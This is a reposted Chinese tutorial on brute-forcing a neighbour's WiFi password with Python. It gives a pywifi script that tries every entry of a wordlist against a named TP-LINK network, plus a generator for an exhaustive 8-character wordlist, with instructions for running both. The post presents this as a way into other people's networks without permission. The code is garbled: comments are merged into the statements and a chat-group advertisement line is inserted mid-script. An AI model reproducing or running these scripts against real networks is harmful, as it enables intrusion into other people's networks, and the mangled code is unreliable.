利用Python暴力破解邻居家WiFi密码

news/2023/5/28 7:47:11

如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。

在这里插入图片描述

文章目录

  • 一、编写代码
    • 二、展示测试结果
      • 三、测试
        • 四、生成密码本(建议自己找一个密码本)

一、编写代码

在桌面新建一个文件
在这里插入图片描述
如果你新建的文件没有后缀名.txt,请进行如下设置

在这里插入图片描述

打开刚刚新建的文件,下面代码写入文件,保存

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="TP-LINK_1301"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(1)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"
#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)Python学习交流群:748989764if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")break#else:#跳出当前循环,进行下一次循环#print("密码破解中....密码校对: ",pad)except:continuestart=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))

将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)

在这里插入图片描述

二、展示测试结果

必备文件
在这里插入图片描述

三、测试

  1. 打开python软件

在这里插入图片描述

2.打开代码:

  • File→Open→破解WiFi密码.PY(找到破解代码)→打开

3.测试运行

  • 修改:WiFi名密码本路径
    在这里插入图片描述
  • 测试:Run→Run Module

四、生成密码本(建议自己找一个密码本)

  • 如果有密码本就不需要这个步骤

1.代码(密码中有重复的数字和字母)

             1.修改: 密码组成元素  和 密码保存路径

在这里插入图片描述

  1. 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its
import datetime#记录程序运行时间
start=datetime.datetime.now()words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#密码位数为9
dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)
Python学习交流群:748989764
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
  1. 运行步骤和前面破解WiFi密码相同不再讲解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-4566542.html

如若内容造成侵权/违法违规/事实不符,请联系郑州代理记账网进行投诉反馈,一经查实,立即删除!

相关文章

外卖cps 赚钱小程序源码

鉴于之前发的博客好多人都想要了解,都在问我怎么弄,今天偷个时间说一下,博主这边可以指导搭建,比如搭建过程中遇到的问题,可以尽微薄之力帮着解决,但是如果没有基础的童鞋呢, 就比较吃力&#x…

Hamibot 基于AutoJs的自动化安卓app小程序赚钱神奇

1. 前言 最近发现一款神器「 Hamibot 」,它是一款 Android 端的自动化工具,它基于 AutoJS 源码进行的二次开发 官方网站:https://docs.hamibot.com/ Hamibot 脚本市场提供了很多脚本,我们都可以免费导入进行试用 首先&#xf…

我用这个小程序,副业赚钱轻松日入300+

现在说到小程序,相比无人不知无人不晓吧,我们从过去的2021年可以看到,微信小程序开发者达到了300W,全网小程序数量已超700万,DAU超4.5亿,我们可以看到一直处于增长的状态,而且活跃度也是呈日增状…

程序员开发什么小程序挣钱_作为程序员赚钱的5种独特方式

程序员开发什么小程序挣钱1.赚钱报告错误 (1. Make money reporting bugs) You can earn money by helping other companies fix bugs in their software code. With debugging alone, you can earn thousands of dollars. You will also earn the respect of various companie…

9种小程序赚钱方法!看懂的人已经在行动了

小程序自上线以来,市面上出现了越来越多与小程序相关的行业。针对目前市面上已出现的小程序商业形式,微趋道今天整理出了以下9种小程序盈利模式分享给大家:微趋道,就是小程序 纯小程序创业 自小程序上线以来,不断有创业…

一篇文章带你了解程序流程图的重要性

先说结论:程序流程图是重要的。 之所以这么判断,主要基于以下3点事实: 图比代码更清晰沟通协作更顺畅(这也是题主比较关注的一点)国内假敏捷开发太多 第一,图比代码更清晰 对于编程初学者来说&#xff0…

MusicLab RealEight for Mac破解教程

MusicLab RealEight for Mac(八弦电吉他虚拟乐器) MusicLab RealEight for Mac破解版基于易于使用的键盘布局以及先进的键,踏板,速度开关系统提供令人难以置信的实用性,并允许键盘手执行具有全新水平表达的吉他部件.Mu…

物联网 ESP826-NODEMCU(基础知识篇)

arduino 数字引脚电压5v nodemcu 电压3.3v 且只有一个模拟引脚 nodemcu 1.GPIO代表的是esp8266上的引脚 即digitalWrite(D2)与digitalWrite(4)是同样的功能 2.浅蓝底黑字是nodemcu通讯功能的引脚,nodemcu有两个硬件串口 除了RX,TX 还有 D4 &#xff08…

亿智SV826/SV823新一代高性能视觉AI SoC正式量产

产品概述 SV826/SV823是亿智电子面向视频编解码AI摄像头应用发布的新一代高性能端侧AI芯片。依托高算力NPU、高性能的图像处理ISP和编解码能力,实现4K超高清视频录制和视频级别的智能化,应用于人脸识别、人形跟踪、车牌识别、车辆检测等目标&#xff0c…

LeetCode826. 安排工作以达到最大收益

力扣 解题思路: 1.将工作难度和收益进行映射 , 按照工作难度升序排列。 2.将工人的完成难度按升序排列。 3.从第一个工人开始先找到自己的最大能获取的最大利润,因为工人经过了排序,那么后面的工人只需要在前面一个工人的基础上向后找&…

Leetcode 826. 安排工作以达到最大收益

Leetcode 826. 安排工作以达到最大收益 1. 问题描述 2. 思路 3. 代码 func maxProfitAssignment(difficulty []int, profit []int, worker []int) int {var res intprofitMap : make(map[int]int, 0)length : len(profit)for i : 0; i < length; i {_, ok : profitMap[di…

【ACwing】二、 数据结构:826. 单链表+ 827. 双链表

文章目录826. 单链表827. 双链表回顾以及计划&#xff1a;用了一个多月的时间看完了acwing的第一章基础算法&#xff0c;并完成了相关笔记&#xff0c;接下来的系列是对第二章数据结构的笔记以及相关习题。我觉得学习速度有点慢了&#xff0c;争取在这一学期能把所有的课程完成…

[AcWing]826. 单链表(C++实现)单链表模板题

[AcWing]826. 单链表&#xff08;C实现&#xff09;单链表模板题1. 题目2. 读题&#xff08;需要重点注意的东西&#xff09;3. 解法4. 可能有帮助的前置习题5. 所用到的数据结构与算法思想6. 总结1. 题目 2. 读题&#xff08;需要重点注意的东西&#xff09; 初步思路&#x…

htc d826 android 6,【精】自己动手一:HTC826D用提取的MirrorLink协议APP安装包投影成功...

火腿肠被我拆坏&#xff0c;已经光荣牺牲下岗&#xff0c;发个百度网盘分享给需要朋友们。http://pan.baidu.com/s/1nuLXAJn四川全新英朗车友会欢迎大家加入。HTC826D用提取MirrorLink协议APP安装包投影成功有需要APP车友可以论坛回复并留下联系方式&#xff0c;我…

RFC826-1982 ARP

1982年11月IETF组织发布RFC826描述制定,用于解决将IP地址解析为MAC地址&#xff0c;实现可信以太网二层数据帧转发时目的MAC地址的解析。ARP技术可以理解为三层数据包转发至二层网络时&#xff0c;自动解析到目的MAC地址&#xff0c;以便完成后续数据帧封装广播转发过程。或主机…

详解RFC 826文档

按照之前的计划&#xff0c;今天开始学习RFC 826文档&#xff0c;在文章开始前&#xff0c;先了解什么是RFC&#xff08;我前面提过&#xff09; Request For Comments&#xff08;RFC&#xff09;&#xff0c;是一系列以编号排定的文件。文件收集了有关互联网相关信息&#xf…

《Cocos Creator游戏实战》背景滑动效果实现

背景滑动效果实现 创建节点 编写脚本 如果不转换场景&#xff0c;那玩家在单个屏幕上能够看到的游戏元素是有限的。但是跳转到另一个场景去显示其他元素的话需要一些时间&#xff0c;所以不是必要的话&#xff0c;建议不作跳转。那么为了让单个场景的游戏元素更加丰富&#x…

移动的游戏背景的简单实现

public class MainActivity extends AppCompatActivity {Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(new MyView(this));}class MyView extends View{//背景图片的实际高度final int BACK_HEIGHT 1700;…

Unity3D——学习分享(十)2D游戏背景循环制作

背景移动 平时玩的2D类游戏&#xff0c;有的时候在需要一个动态背景&#xff0c;比如在太空大战的飞行游戏&#xff0c;它们的背景就是移动的背景&#xff0c;但是稍微细心点你会发现&#xff0c;背景虽然时刻在移动&#xff0c;但是背景的内容仿佛一直在循环重复。 制作原理 …

Cocos Creator 用JS脚本实现游戏背景的无限滚动

首先是实现的一个原理&#xff1a;使用2张相同的图片&#xff0c;让它们在脚本中不停的移动&#xff08;用y值的减少来实现&#xff09;。当有图片离开场景时&#xff0c;给此图片的y重新赋值&#xff08;相当于位置的重置&#xff09;&#xff0c;在update中无限调用背景移动的…